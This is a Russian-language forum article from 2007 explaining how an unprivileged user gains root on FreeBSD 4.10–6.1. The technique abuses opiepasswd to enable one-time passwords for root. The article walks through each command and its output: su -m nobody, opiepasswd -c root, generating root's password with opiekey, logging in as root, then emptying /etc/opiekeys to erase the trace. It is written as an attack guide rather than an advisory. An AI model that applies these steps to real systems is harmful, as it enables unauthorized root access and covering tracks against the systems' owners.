Новости сайта
Главная страница » 2007 » Февраль » 18 » Root FreeBSD

Root FreeBSD
Автор: Constantine
Поднимаем локальный рут во ФриБСД шестой версии

Зачем?

Я подумал, что это может быть кому то интересно, на форуме толковой статьи по этой теме не нашел.

Как?

Я собираюсь выложить важные куски манов, чтоб вы не запаривались их вычитывать. Моей целью не являлась расшифровка каждого значака, но даже не очень знающий человек скорее всего разберется. Если вы не знаете, что такое рут и для чего он добывается и что такое ФриБСД, то эта статья будет вам не интересна.

INTRO

Зайдя на сервис посвещенный комьютерной безопастностии поискав уязвимости FREEBSD (вы их найдете не мало) вы совершенно точно наткнетесь на багу: opie one time password system privilege escalation. Она позволяет непривилигированному пользователю повысить свои права до root

Этой уязвимости подвержены версии FreeBSD 4.10 FreeBSD 5.3 FreeBSD 5.4 FreeBSD 4.11 FreeBSD 6.0 FreeBsd 6.1 FreeBsd 5.5

Main

Рассмотрим на примере FreeBSD 6.0

1)opie one time password- это одноразовый пароль.

Чтобы включить одноразовые пароли для пользователя используеться програма Opiepassword.

Суть в том что если запустить программу от непривилигированного пользователя, то она подумает что вы root. Таким образом возможно устроить руту вход по одноразвым паролем.

Соответственно если вы сможете аутентифицироваться как root, вы завладеете системой

2)Проделать это все проще, чем кажется на первый взгляд: надо запустить Opiepassword от nobody и организовать root'у вход по одноразовым паролям

В любой момент времени вы можете проверить свой статус комендой id

3)Для совершения взлома придеться почти все время читать маны.

Выполняем


PHP код:





 [CODE]-man su[/CODE







В ответе нас интересует следующее


Код:

-m Leave the environment unmodiifed. Yhe invoked shell is your
login shell, and no directory changes are made. as a security
precaution, if the target user's shell is a non-standard shell
(as defined by getusersshell(3)) and the caller's real uid is non-
zero, su will fail


4)Исходя из этого выполняем


PHP код:





 [CODEsu -m nobody[/CODE







теперь проверяем текущий статус.

В ответе вы прочитает, что то вроде


Код:

uid=77777(nobody) gid=77777(nobody) groups=77777(nobody)

это значит что теперь вы типичный непривилигированный пользователь nobody

5)И снова читаем маны, на этот раз выполняем


PHP код:





 [CODE]man opiepasswd[/CODE







теперь нас интересуют 2 вещи в ответе


Код:

-c Set console mode where the user is expected to have
secure access to the system. In console mode, you will be
asked to input your password directly instead of having
to use an OPIE calculator. If you do not have secure
access to the system(i.e., you are not on the system's
console), you are volunteering your password to attackers
by using this mode

-f Force opiepassword to continue, even where it normally
shouldn't. This is currently used to force opiepasswd to
operate in "console" mode even from terminals it believes
to be insecure. It can also allow users to disclose their
secret pass phrases to attackars. Use of the -f flag may
be disabled by compile-time option in your particular
build of OPIE


6)Помните что все еще непривилигированный пользователь. Пересмотрев ман выполняем


PHP код:





 [CODE]opiepasswd --c root[/CODE







В ответ вам выплюнут следующее, прочитайте ответ внимтельно.


Код:

Adding root:
Only this method from the console; NEVER from remote. If you are using
telnet, xterm, or a dial-in, type ^C now or exit whith no password
Then tun opiepasswd without the -c parameter.
Using MD5 to compute responses

7)На этом этапе нужно ввести секретную фразу для генерации паролей, она должна быть не меньше 14 символов(это вам не must_die)

В ответ он выплевывает вам проль под неким номером, после номера следует ключ.

Примерно в таком виде:


Код:

ID root OIP key is 276 ti8776 (номер и ключ)
Big skil king stay note game

Фактически для рута включлся режим одноразовых паролей.

Установив новое подключение и

введя в качестве login as: root

Вам ответят что-то вроде opt-md5 275 ti8776 и предложат ввести пароль

8)Далее, для того что бы использовать одноразовые проли их надо сгенерировать, для этого есть программа opiekey и в качестве

аргумента ей надо передать номер пароля и ключ

Выполняем


PHP код:





 [CODE]opiekey 276 ti8776[/CODE







Если в ответ вы получили


Код:

Big skil king stay note game

значит все выполнено верно. Теперь надо сгенерировать ключ нужного номера


PHP код:





 [CODE]opiekey 275 ti8776[/CODE







В ответ вы узрите нужный вам пароль!

9)Теперь указав пароль в новом подключении вы аутентифицируетесь в FreeBSD

вбив id и проверив свой статус вы получите


Код:

uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)

10)Теперь нужно выполнит:


Код:

exit

11)

Далее вход по одноразовым паролям надо выбить, для этого затираем файл opiekeys


PHP код:





 [CODE]cd /etc

ls -ls|grep opie[/CODE







Получив ответ выполняем


PHP код:





 [CODE]cat opiekeys[/CODE







В ответ вы должны узреть


Код:

root 0275 ti 8776 [date and time]

Далее


Код:

echo>opiekeys
cat opiekeys


RESULTS Теперь все вернулось к первоначальной точке, только у вас есть небольшое преимущество. Остаеться только сварганить эксплойт

Ссылки и благодарности

Каких то особых ссылок я бы не дал, уязвимость достаточно известная, но к примеру

http://security.nnov.ru/soft/7761.html

Благодарность одна, но большая, обращенная к F0rtress Zero.

Отмазы

Это первая моя статья для античата, незнаю насколько она не боянная, но я ничего не катал. Прошу не осыпать меня проклятьями.


Просмотров: 2910 | Добавил: dozzer | Рейтинг: 4.0 |
Комментарии
Всего комментариев: 0
Имя *:
Email *:
Код *: